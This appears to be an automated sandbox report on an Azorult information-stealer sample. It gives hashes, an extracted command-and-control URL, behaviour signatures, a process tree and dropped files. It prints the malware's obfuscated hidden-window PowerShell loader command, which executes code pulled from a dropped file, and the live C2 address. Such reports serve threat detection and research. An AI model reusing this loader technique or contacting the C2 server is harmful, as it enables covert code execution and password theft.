Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-02-2025 14:07

General

  • Target

    cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe

  • Size

    930KB

  • MD5

    18cb6529a2a76b61525e325c8bcb655c

  • SHA1

    6f8a09e90e79d3ee48c8ff76bb89f76adc7a2ca1

  • SHA256

    cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382

  • SHA512

    80edaa6f24461f814f9748f8f67fb901e8731e89024d7e0239220282204601b9e7ba727968cb7086a63d3154a8e703242ac915e88dd7110c75224d35bb7d938d

  • SSDEEP

    24576:PuA8nLoZQSVTkp2jT6RJNBIQll+hQT2jiux5f:1AoZBop2juRFIQlluQsx1

Malware Config

Extracted

Family

azorult

C2

http://79.110.49.155/cyb1/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Azorult family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe
    "C:\Users\Admin\AppData\Local\Temp\cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:620
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Skylark=gc -raw 'C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Smutches\Jormungandr.Mos';$Gymnaster=$Skylark.SubString(69514,3);.$Gymnaster($Skylark) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3676
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        PID:4064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Cangler.Kgd

    Filesize

    342KB

    MD5

    8b962d673953df97bd216bdc6ac42f11

    SHA1

    789b51e630b5ba4f24871adc00c35750850a63dc

    SHA256

    42849da3722d1fcb536e8569d1acc85ac6351dd5a7f11859c93dab1f4d8dd6d7

    SHA512

    111caab98f9fd68f2c17f7051ae3fd806bbd16266edd0b7431cec08795628e1672da5707cb7080866ba950b1d0bbc96d4e30a9e0941762b95926b370b3f437ce

  • C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Smutches\Jormungandr.Mos

    Filesize

    68KB

    MD5

    22b63832449805f5bd18cde2deda97c7

    SHA1

    1e7bd2f8beec10398acbda317391d45dd8e9ce69

    SHA256

    ed170574392e90129df48de26f379aaa41834be121fc46ba32feca95f8659b74

    SHA512

    c49b4269086b98b032966bc7444d670a68aa5606f33d86f4476d1ebcdd6f2a7a1dcc581e6efa90e793667b5a3944fcc411822cd34e3ec3f3ddfee2d4f893f332

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c5kdo1ay.foi.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsi75BD.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    51e63a9c5d6d230ef1c421b2eccd45dc

    SHA1

    c499cdad5c613d71ed3f7e93360f1bbc5748c45d

    SHA256

    cd8496a3802378391ec425dec424a14f5d30e242f192ec4eb022d767f9a2480f

    SHA512

    c23d713c3c834b3397c2a199490aed28f28d21f5781205c24df5e1e32365985c8a55be58f06979df09222740ffa51f4da764ebc3d912cd0c9d56ab6a33cab522

  • memory/3676-51-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-17-0x00000000061A0000-0x0000000006206000-memory.dmp

    Filesize

    408KB

  • memory/3676-18-0x0000000006210000-0x0000000006276000-memory.dmp

    Filesize

    408KB

  • memory/3676-53-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-15-0x0000000005940000-0x0000000005F68000-memory.dmp

    Filesize

    6.2MB

  • memory/3676-28-0x0000000006280000-0x00000000065D4000-memory.dmp

    Filesize

    3.3MB

  • memory/3676-29-0x00000000068D0000-0x00000000068EE000-memory.dmp

    Filesize

    120KB

  • memory/3676-30-0x0000000006920000-0x000000000696C000-memory.dmp

    Filesize

    304KB

  • memory/3676-33-0x0000000006E50000-0x0000000006E72000-memory.dmp

    Filesize

    136KB

  • memory/3676-32-0x0000000006E00000-0x0000000006E1A000-memory.dmp

    Filesize

    104KB

  • memory/3676-13-0x0000000003280000-0x00000000032B6000-memory.dmp

    Filesize

    216KB

  • memory/3676-34-0x0000000007F40000-0x00000000084E4000-memory.dmp

    Filesize

    5.6MB

  • memory/3676-54-0x0000000007E70000-0x0000000007E81000-memory.dmp

    Filesize

    68KB

  • memory/3676-36-0x0000000008B70000-0x00000000091EA000-memory.dmp

    Filesize

    6.5MB

  • memory/3676-37-0x0000000007CE0000-0x0000000007D12000-memory.dmp

    Filesize

    200KB

  • memory/3676-49-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-50-0x0000000007D50000-0x0000000007DF3000-memory.dmp

    Filesize

    652KB

  • memory/3676-48-0x0000000007D20000-0x0000000007D3E000-memory.dmp

    Filesize

    120KB

  • memory/3676-38-0x000000006FFB0000-0x000000006FFFC000-memory.dmp

    Filesize

    304KB

  • memory/3676-52-0x0000000007E50000-0x0000000007E5A000-memory.dmp

    Filesize

    40KB

  • memory/3676-31-0x00000000078D0000-0x0000000007966000-memory.dmp

    Filesize

    600KB

  • memory/3676-16-0x00000000058D0000-0x00000000058F2000-memory.dmp

    Filesize

    136KB

  • memory/3676-14-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-55-0x0000000007EB0000-0x0000000007EBE000-memory.dmp

    Filesize

    56KB

  • memory/3676-56-0x0000000007EC0000-0x0000000007ED4000-memory.dmp

    Filesize

    80KB

  • memory/3676-58-0x0000000007EF0000-0x0000000007EF8000-memory.dmp

    Filesize

    32KB

  • memory/3676-57-0x0000000007F20000-0x0000000007F3A000-memory.dmp

    Filesize

    104KB

  • memory/3676-60-0x00000000086B0000-0x00000000086D4000-memory.dmp

    Filesize

    144KB

  • memory/3676-59-0x0000000008680000-0x00000000086AA000-memory.dmp

    Filesize

    168KB

  • memory/3676-61-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-63-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-12-0x0000000073B3E000-0x0000000073B3F000-memory.dmp

    Filesize

    4KB

  • memory/3676-65-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-66-0x00000000091F0000-0x000000000CCCE000-memory.dmp

    Filesize

    58.9MB

  • memory/3676-67-0x0000000073B3E000-0x0000000073B3F000-memory.dmp

    Filesize

    4KB

  • memory/3676-68-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-69-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-70-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/3676-72-0x0000000073B30000-0x00000000742E0000-memory.dmp

    Filesize

    7.7MB

  • memory/4064-79-0x0000000001000000-0x0000000002254000-memory.dmp

    Filesize

    18.3MB

  • memory/4064-82-0x0000000000CD0000-0x0000000000CF7000-memory.dmp

    Filesize

    156KB

  • memory/4064-81-0x0000000001000000-0x0000000002254000-memory.dmp

    Filesize

    18.3MB

  • memory/4064-83-0x0000000001000000-0x0000000002254000-memory.dmp

    Filesize

    18.3MB

  • memory/4064-85-0x0000000001000000-0x0000000002254000-memory.dmp

    Filesize

    18.3MB